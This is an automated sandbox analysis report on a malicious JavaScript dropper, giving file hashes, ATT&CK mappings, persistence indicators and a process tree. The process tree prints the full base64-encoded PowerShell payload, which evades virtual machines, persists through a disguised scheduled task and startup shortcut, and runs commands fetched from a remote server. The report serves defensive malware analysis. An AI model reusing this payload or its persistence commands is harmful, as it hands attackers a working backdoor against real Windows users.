4f84400506a99ee8b0b7d0ea00fd66d5cb575e8bf768fc6bcdbee5592e310fca

General

Target

3e9c6a8e6988adbb16ef8715c22cdd58_JaffaCakes118.js
Size

20KB
MD5

3e9c6a8e6988adbb16ef8715c22cdd58
SHA1

c959d76d0cbe839ed6325796b1b92e2a62f5e5a2
SHA256

4f84400506a99ee8b0b7d0ea00fd66d5cb575e8bf768fc6bcdbee5592e310fca
SHA512

1a688465a5161ba5e49db747b07ecffd3f6d42abaa4befd3eaa02755e2bf34c90a8dcf0ecb4054a270507706cdd86b17ed6bf1763406434588fab35c11e0aeb7
SSDEEP

384:3wjKMDdC+3HjH1ciPOlHS4mLasODgZjNfqLhIdlWmpzOTkmIhkn73jbIYmYTc:3mKCDVu+msdFDdlfpzUkmRfbIh

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://wws.chasingredford.com/

Signatures

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsIndexingService.lnk	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2856	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3000	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3000	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1008 wrote to memory of 3000	1008	wscript.exe	28
PID 1008 wrote to memory of 3000	1008	wscript.exe	28
PID 1008 wrote to memory of 3000	1008	wscript.exe	28
PID 3000 wrote to memory of 2584	3000	powershell.exe	31
PID 3000 wrote to memory of 2584	3000	powershell.exe	31
PID 3000 wrote to memory of 2584	3000	powershell.exe	31
PID 3000 wrote to memory of 2500	3000	powershell.exe	32
PID 3000 wrote to memory of 2500	3000	powershell.exe	32
PID 3000 wrote to memory of 2500	3000	powershell.exe	32
PID 3000 wrote to memory of 2856	3000	powershell.exe	33
PID 3000 wrote to memory of 2856	3000	powershell.exe	33
PID 3000 wrote to memory of 2856	3000	powershell.exe	33

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3e9c6a8e6988adbb16ef8715c22cdd58_JaffaCakes118.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 'aWYoKChHZXQtVUlDdWx0dXJlKS5OYW1lIC1tYXRjaCAiQ058Uk98UlV8VUF8QlkiKSAtb3IgKChHZXQtV21pT2JqZWN0IC1jbGFzcyBXaW4zMl9Db21wdXRlclN5c3RlbSAtUHJvcGVydHkgTW9kZWwpLk1vZGVsIC1tYXRjaCAiVmlydHVhbEJveHxWTXdhcmV8S1ZNIikpeyBleGl0O307CiR2Y2Z4YmFhZnhnID0gJXdvcmtfZGlyJTsKaWYgKC1ub3QgKFRlc3QtUGF0aCAkdmNmeGJhYWZ4ZykpIHsgbWQgJHZjZnhiYWFmeGc7IH0KJGJ2ZHlhdWYgPSAkZW52OlBVQkxJQyArICJcTGlicmFyaWVzXFdpbmRvd3NJbmRleGluZ1NlcnZpY2UuanMiOwokYWV3ZGdjdnMgPSAkZW52OnRlbXAgKyAiXFhBRlg5MTEuMS50bXAiOwokaGN1ZWl2YnhkICA9IEpvaW4tUGF0aCAkdmNmeGJhYWZ4ZyAidGh1bWJjYWNoZV8zMy5kYiI7CiRkaXRqYnpoZXYgID0gOTExLjE7CiRteXVybHBvc3QgPSAkZmFsc2U7CiRkYnl2YWlqID0gInciOwoKZnVuY3Rpb24gaWFtd29ya3sgc2MgLVBhdGggJGFld2RnY3ZzIC1WYWx1ZSAoICRwaWQsIFtzdHJpbmddKEdldC1EYXRlKSwgJGRpdGpiemhldiwgJG15dXJscG9zdCwgJGVzenl1emNlIC1qb2luICcsJyApOyB9OwpmdW5jdGlvbiBkY2d1dmV3aSggJGd4Y3lnZHVpdmUgKXsKICBpZiggJGd4Y3lnZHVpdmUgLW1hdGNoICdPdXRPZk1lbW9yeUV4Y2VwdGlvbicgKXsKICAgIHJpIC1QYXRoICRhZXdkZ2N2cyAtRm9yY2U7CiAgICBnZXQtcHJvY2VzcyBwb3dlcnNoZWxsKiB8IHN0b3AtcHJvY2VzczsKICAgIGV4aXQ7CiAgfTsKfQoKZnVuY3Rpb24gc2VuZHBvc3QoICRneGN5Z2R1aXZlICl7CiAgaWYoICEkbXl1cmxwb3N0ICl7IHJldHVybiAkZmFsc2U7IH07CiAgJGN6aWRhaWNoID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsKICAkY3ppZGFpY2guQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7CiAgJGN6aWRhaWNoLkhlYWRlcnMuQWRkKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgJGN6aWRhaWNoLkVuY29kaW5nID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGODsKICB0cnl7CiAgICAkemRjaGV4enh4YiA9ICRjemlkYWljaC5VcGxvYWRTdHJpbmcoICRteXVybHBvc3QsICJsPSIrW0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyhbVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoICggInY9JGRpdGpiemhldiZndWlkPSRkanp6d3p2dmJpJiIgKyAkZ3hjeWdkdWl2ZSApICkgKSApOwogICAgJHpkY2hleHp4eGIgPSBbc3RyaW5nXVtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OkFTQ0lJLkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCAkemRjaGV4enh4YiApICk7CiAgICBpZiggISRkYnl2YWlqICl7IHJldHVybiAkZmFsc2U7IH0KICAgIGlmKCAkZXN6eXV6Y2UgLWVxICR6ZGNoZXh6eHhiLlN1YnN0cmluZygwLDE2KSApewogICAgICByZXR1cm4gJHpkY2hleHp4eGIuU3Vic3RyaW5nKDE2LCR6ZGNoZXh6eHhiLmxlbmd0aC0xNikgOwogICAgfWVsc2V7CiAgICAgICRkYnl2YWlqID0gJGZhbHNlOwogICAgICBzZW5kcG9zdCAoImVycm9yPSIgKyBbQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKFtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcyggJHpkY2hleHp4eGIgKSApICk7CiAgICB9CiAgfWNhdGNoewogICAgZGNndXZld2kgJF8uRXhjZXB0aW9uLk1lc3NhZ2U7CiAgICAkZGJ5dmFpaiA9ICRmYWxzZTsKICAgICRjemlkYWljaC5VcGxvYWRTdHJpbmcoICRteXVybHBvc3QsICJsPSIrW0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyhbVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoICggInY9JGRpdGpiemhldiZndWlkPSRkanp6d3p2dmJpJmVycm9yPXNlbmRwb3N0OiIgKyAkbXl1cmxwb3N0KyI6IiskemRjaGV4enh4YiArIjoiKyAkXy5FeGNlcHRpb24uTWVzc2FnZSApICkgKSApOwogIH07CiAgcmV0dXJuICRmYWxzZTsKfTsKCmZ1bmN0aW9uIGpjeWNnanUoICRneGN5Z2R1aXZlICl7CiAgJGNod2R2aXVmYSA9ICJodHRwOi8vd3dzLmNoYXNpbmdyZWRmb3JkLmNvbS8iOwogICJkZmIiLCI5M2EiLCIyNWMiLCI4ZjkiLCJnaDciIHwgJXsgJGNod2R2aXVmYSArPSAiLCIrImh0dHA6Ly8iKyAoIFtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoIFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoICRfKyAkKEdldC1EYXRlIC1VRm9ybWF0ICIleSVtJVYiKSApICkudG9Mb3dlcigpICkgKyIudG9wLyI7IH07CiAgJGNod2R2aXVmYS5zcGxpdCgiLCIpIHwgJXsKICAgIGlmKCAhJG15dXJscG9zdCApewogICAgICAkbXl1cmxwb3N0ID0gJF87CiAgICAgIGlmKCAhKHNlbmRwb3N0ICgkZ3hjeWdkdWl2ZSArICImZG9tZW49JG15dXJscG9zdCIgKSkgKXsgJG15dXJscG9zdCA9ICRmYWxzZTsgfTsKICAgICAgU3RhcnQtU2xlZXAgLXMgNTsKICAgIH0KICB9OwogIHJldHVybiAkbXl1cmxwb3N0Owp9OwoKaWYgKCBUZXN0LVBhdGggJGFld2RnY3ZzICl7CiAgaWYgKCAoICggTkVXLVRJTUVTUEFOIC1TdGFydCAoKEdldC1DaGlsZEl0ZW0gJGFld2RnY3ZzICkuQ3JlYXRpb25UaW1lKSAtRW5kIChHZXQtRGF0ZSkpLk1pbnV0ZXMgKSAtZ3QgMTUgKXsKICAgIHRyeXsgc3RvcC1wcm9jZXNzIC1pZCAoIChnYyAkYWV3ZGdjdnMpLnNwbGl0KCIsIilbMF0gKTsgfWNhdGNoe307CiAgICB0cnl7IHJpIC1QYXRoICRhZXdkZ2N2cyAtRm9yY2U7IH1jYXRjaHt9OwogIH1lbHNlewogICAgZXhpdDsKICB9Owp9OwoKJGhjdHhlZHRkdXkgPSAib3M9Iitbc3RyaW5nXSRQU1ZlcnNpb25UYWJsZS5CdWlsZFZlcnNpb24rIiZwc3Zlcj0iKyggKEdldC1Ib3N0KS5WZXJzaW9uICkuTWFqb3I7CmlmICggVGVzdC1QYXRoICRoY3VlaXZieGQgKXsKICAkZGp6end6dnZiaSwgJGVzenl1emNlID0gKGdldC1jb250ZW50ICRoY3VlaXZieGQpLnNwbGl0KCcsJyk7CiAgaWYoICggJGVzenl1emNlLmxlbmd0aCAtbmUgMTYgKSAtb3IgKCAkZGp6end6dnZiaS5sZW5ndGggLWx0IDIxICkgKXsKICAgIHJpIC1QYXRoICRoY3VlaXZieGQsJGFld2RnY3ZzIC1Gb3JjZTsKICAgIHRyeXsgZ2V0LXByb2Nlc3MgcG93ZXJzaGVsbCogfCBzdG9wLXByb2Nlc3MgfWNhdGNoe307CiAgICBleGl0OwogIH0KfWVsc2V7CiAgJGVzenl1emNlID0gKCBbZ3VpZF06Ok5ld0d1aWQoKSAtcmVwbGFjZSAnLScsJycgKS5TdWJzdHJpbmcoMCwxNik7CiAgc2MgLVBhdGggJGhjdWVpdmJ4ZCAtVmFsdWUgKCAoIChHZXQtV21pT2JqZWN0IC1jbGFzcyBXaW4zMl9Db21wdXRlclN5c3RlbSAtUHJvcGVydHkgTmFtZSkuTmFtZS50cmltKCkgKyAiXyIgKyBbZ3VpZF06Ok5ld0d1aWQoKS50b1N0cmluZygpLnJlcGxhY2UoJy0nLCAnJykuU3Vic3RyaW5nKDAsMjApICksICRlc3p5dXpjZSAgLWpvaW4gJywnICk7CiAgZ2kgJGhjdWVpdmJ4ZCAtRm9yY2UgfCAgJXsgJF8uQXR0cmlidXRlcyA9ICJIaWRkZW4iIH07CiAgJGRqenp3enZ2YmksICRlc3p5dXpjZSA9IChnZXQtY29udGVudCAkaGN1ZWl2YnhkKS50cmltKCkuc3BsaXQoJywnKTsKICAkaGN0eGVkdGR1eSArPSAiJnNzaWQ9JGVzenl1emNlJiI7Cn0KdHJ5eyAKICB0cnl7IHNjaHRhc2tzLmV4ZSAvZGVsZXRlIC9UTiAiV2luZG93c0luZGV4aW5nU2VydmljZSIgL2YgfWNhdGNoe30KICB0cnl7IHNjaHRhc2tzLmV4ZSAvZGVsZXRlIC9UTiAiV2luZG93cyBJbmRleGluZyBTZXJ2aWNlIiAvZiB9Y2F0Y2h7fQogICR0d2JqZ3V5d2ogPSAnd3NjcmlwdC5leGUgLy9ub2xvZ28gIicrJGJ2ZHlhdWYrJyIgPk5VTCAyPiYxJzsKICBzY2h0YXNrcy5leGUgL2NyZWF0ZSAvVE4gIldpbmRvd3NJbmRleGluZ1NlcnZpY2UiIC9zYyBEQUlMWSAvc3QgMDA6MDAgL2YgL1JJIDEwIC9kdSAyMzo1OSAvVFIgJHR3YmpndXl3ajsgCn1jYXRjaHt9OwoKdHJ5ewogICRqaHpjdmZ0ancgPSBbRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdTdGFydHVwJykgKyAnXFdpbmRvd3NJbmRleGluZ1NlcnZpY2UubG5rJzsKICBpZiggLW5vdCAoIFRlc3QtUGF0aCAkamh6Y3ZmdGp3ICkgKXsKICAgICRodWFqdWR4eGdmID0gTmV3LU9iamVjdCAtQ29tT2JqZWN0ICgnV1NjcmlwdC5TaGVsbCcpOwogICAgJGh4eXl5aXcgPSAkaHVhanVkeHhnZi5DcmVhdGVTaG9ydGN1dCggJGpoemN2ZnRqdyAgKTsKICAgICRoeHl5eWl3LkFyZ3VtZW50cz0gJy8vbm9sb2dvICInKyRidmR5YXVmKyciID5OVUwgMj4mMSc7CiAgICAkaHh5eXlpdy5UYXJnZXRQYXRoID0gJ3dzY3JpcHQuZXhlJzsKICAgICRoeHl5eWl3LldvcmtpbmdEaXJlY3RvcnkgPSAkdmNmeGJhYWZ4ZzsKICAgICRoeHl5eWl3LldpbmRvd1N0eWxlID0gMTsKICAgICRoeHl5eWl3LkRlc2NyaXB0aW9uID0gJ1dpbmRvd3MgSW5kZXhpbmcgU2VydmljZSc7CiAgICAkaHh5eXlpdy5TYXZlKCk7CiAgfQp9Y2F0Y2h7fTsKCiRteXVybHBvc3QgPSBqY3ljZ2p1ICRoY3R4ZWR0ZHV5Owp3aGlsZSggJGRieXZhaWogKXsKICBpYW13b3JrOwogIHRyeXsKICAgIGlmKCAkZGJ5dmFpaiAtYW5kICgkZGJ5dmFpai5sZW5ndGggLWd0IDMwKSAgKXsKICAgICAgaWV4IC1Db21tYW5kICRkYnl2YWlqOwogICAgfTsKICB9Y2F0Y2h7CiAgICBkY2d1dmV3aSAkXy5FeGNlcHRpb24uTWVzc2FnZTsKICAgIHNlbmRwb3N0ICgiZXJyb3I9aWV4OiIgKyAkZGJ5dmFpaiArIjoiKyAkbXl1cmxwb3N0ICsiOiIgKyAkXy5FeGNlcHRpb24uTWVzc2FnZSApOwogIH07CiAgU3RhcnQtU2xlZXAgLXMgMjgwOwogICRkYnl2YWlqID0gc2VuZHBvc3QgIiI7Cn07CnJpIC1QYXRoICRhZXdkZ2N2cyAtRm9yY2U7Cg==' ) );iex $a;
  2⤵
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /TN WindowsIndexingService /f
    3⤵
    PID:2584
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /TN "Windows Indexing Service" /f
    3⤵
    PID:2500
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /TN WindowsIndexingService /sc DAILY /st 00:00 /f /RI 10 /du 23:59 /TR "wscript.exe //nologo "C:\Users\Public\Libraries\WindowsIndexingService.js" >NUL 2>&1"
    3⤵
    - Creates scheduled task(s)
    PID:2856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3000-4-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmp

Filesize
4KB

Download
memory/3000-6-0x0000000002A10000-0x0000000002A18000-memory.dmp

Filesize
32KB

Download
memory/3000-5-0x000000001B480000-0x000000001B762000-memory.dmp

Filesize
2.9MB

Download
memory/3000-7-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/3000-8-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/3000-10-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/3000-11-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmp

Filesize
4KB

Download
memory/3000-12-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads